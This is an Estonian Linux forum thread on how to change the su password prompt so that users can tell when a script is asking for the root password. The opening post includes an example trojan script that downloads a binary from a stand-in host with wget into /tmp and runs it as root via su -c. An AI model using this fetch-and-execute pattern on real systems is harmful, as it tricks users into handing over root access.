su salasõna prompt

Peamised Linuxi turvalisusega seotud teemad

Moderaator: Moderaatorid

Vasta
Kasutaja avatar
sips
Pingviini aktivist
Pingviini aktivist
Postitusi: 288
Liitunud: 20.05.2006, 18:34

su salasõna prompt

Postitus Postitas sips »

Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?

Hetkel Archlinux küsib su käsu peale lihtsalt
Password:

Aga kui nt netist tõmmata skript, mis kirjelduse järgi loob ühenduse mingi serveriga, kuid tehelikult on skripti sisuks

Kood: Vali kõik

#!/bin/bash

echo "Server: "
read server

echo "Login name: "
read user

wget –output-document /tmp/pahalane http://example.com/VägaPahalane > /dev/null 2>&1
chmod +x /tmp/pahalane
su -c /tmp/pahalane
Parem oleks kui su käsu peale küsitakse nt
Enter your local root password:
PS! Vanaisale ei saa Linuxit peale lasta.
Kasutaja avatar
Valdur55
Vana Pingviin
Vana Pingviin
Postitusi: 640
Liitunud: 02.06.2007, 23:22

Postitus Postitas Valdur55 »

Enamasti on käivitatavate rakenduste otseteed kasutas /usr/bin (tavakasutaja) või /usr/sbin (root).
Edasi mõtled ise.
Kasutaja avatar
sips
Pingviini aktivist
Pingviini aktivist
Postitusi: 288
Liitunud: 20.05.2006, 18:34

Postitus Postitas sips »

Mis vahet seal on, kui käivitatav fail ise on kõigile kättesaadavas kohas?
PS! Vanaisale ei saa Linuxit peale lasta.
Kasutaja avatar
tramm
Vana Pingviin
Vana Pingviin
Postitusi: 903
Liitunud: 03.11.2008, 08:54

Re: su salasõna prompt

Postitus Postitas tramm »

sips kirjutas:Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?
Lokaliseerid po failiga? Kompileerid ise ja muudad stringi ära?
sips kirjutas:su -c /tmp/pahalane
Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.
Kasutaja avatar
sips
Pingviini aktivist
Pingviini aktivist
Postitusi: 288
Liitunud: 20.05.2006, 18:34

Re: su salasõna prompt

Postitus Postitas sips »

tramm kirjutas:Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.
:) tundub, et pikk tööpäev on ajud sassi keeranud - loogika lonkab. Tegelt tahtsin oma arust kirjutada mingi näite, kus küsitakse parooli ja tehakse hoopis midagi muud.

Aga see .po failidega jändamine ja kompileerimine pole päris see.
Lihtsalt mure tekkis sellest, et nii sudo, kui ka su küsivad mõlemad lihtsalt
Password:
katsu siis aru saada mida sult tahetakse.

OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"
PS! Vanaisale ei saa Linuxit peale lasta.
Kasutaja avatar
tramm
Vana Pingviin
Vana Pingviin
Postitusi: 903
Liitunud: 03.11.2008, 08:54

Re: su salasõna prompt

Postitus Postitas tramm »

sips kirjutas:OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"
Arusaadav. Aga pahalasel pole keeruline ka vajadusel SUDO_PROMPT muutujat sättida.
Kasutaja avatar
sips
Pingviini aktivist
Pingviini aktivist
Postitusi: 288
Liitunud: 20.05.2006, 18:34

Postitus Postitas sips »

Seda muidugi.
Soov oli, et ausad skriptid väljendaks selgemini millist salasõna nad tahavad.

Archlinuxil nt on selleine programm nagu yaourt, mis oskab kasutada nii su'd, kui ka sudo'd -
kui sudo parool nö aegub (ei sisestata, kuna kedagi pole masina juures) või pole sudo üldse installitud,
kasutatakse su'd, kuid mõlemal juhul on ekraanil lihtsalt
Password:

Jama on rohkem selles, et markeerida ei tahaks mitte tavakasutaja parooli küsimist,
vaid et root'u parooli pärimine oleks selgelt näha.
PS! Vanaisale ei saa Linuxit peale lasta.
Kasutaja avatar
tris
Troll - ära toida!
Troll - ära toida!
Postitusi: 713
Liitunud: 23.08.2014, 09:24

Postitus Postitas tris »

1. sudoers määrata, mida sul admin.konto võimaldab:
yourusername ALL= NOPASSWD: /programmi_täpne_asukoht
2. mingi programmi luua:

Kood: Vali kõik

#!/bin/bash
ENTRY=`zenity --password`
case $? in
0)
pw=$(echo $ENTRY | cut -d'|' -f1)
;;
1)
echo "Stop login.";;
-1)
echo "An unexpected error has occurred.";;
esac
TMP=$(echo "${pw}" | sudo -Sv)
TMP=0
Võibolla midagi siin mudida?



Ja su kohta - ma muutsin /bin/su õigus endal ainult juur saab käivitada ja grupp. Ning käivitan seda ainult: sudo su
ricochet:yckka6zlbxv767lz
Vasta